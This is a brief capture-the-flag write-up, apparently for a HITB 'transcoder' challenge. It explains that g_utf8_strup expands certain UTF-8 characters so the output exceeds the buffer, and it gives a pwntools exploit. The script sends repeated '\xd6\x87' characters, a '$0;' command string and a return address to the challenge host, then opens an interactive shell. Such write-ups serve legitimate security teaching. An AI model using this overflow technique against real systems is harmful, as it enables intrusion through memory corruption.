Trick **g_utf8_strup** to return more bytes than the original input after conversion.**g_utf8_strup** returns 4 bytes instead of 2 bytes after converting the UTF-8 char "\xd6\x87", for example.
Exploit code:
```from pwn import *
r = remote("transcoder.hitbctf.nl", 1234)
ret = "\x90\x08\x40"r.sendline("2")r.recvuntil("STRING> ")r.sendline("\xd6\x87"*68 + "$0;".ljust(8, " ") + ret)r.interactive()```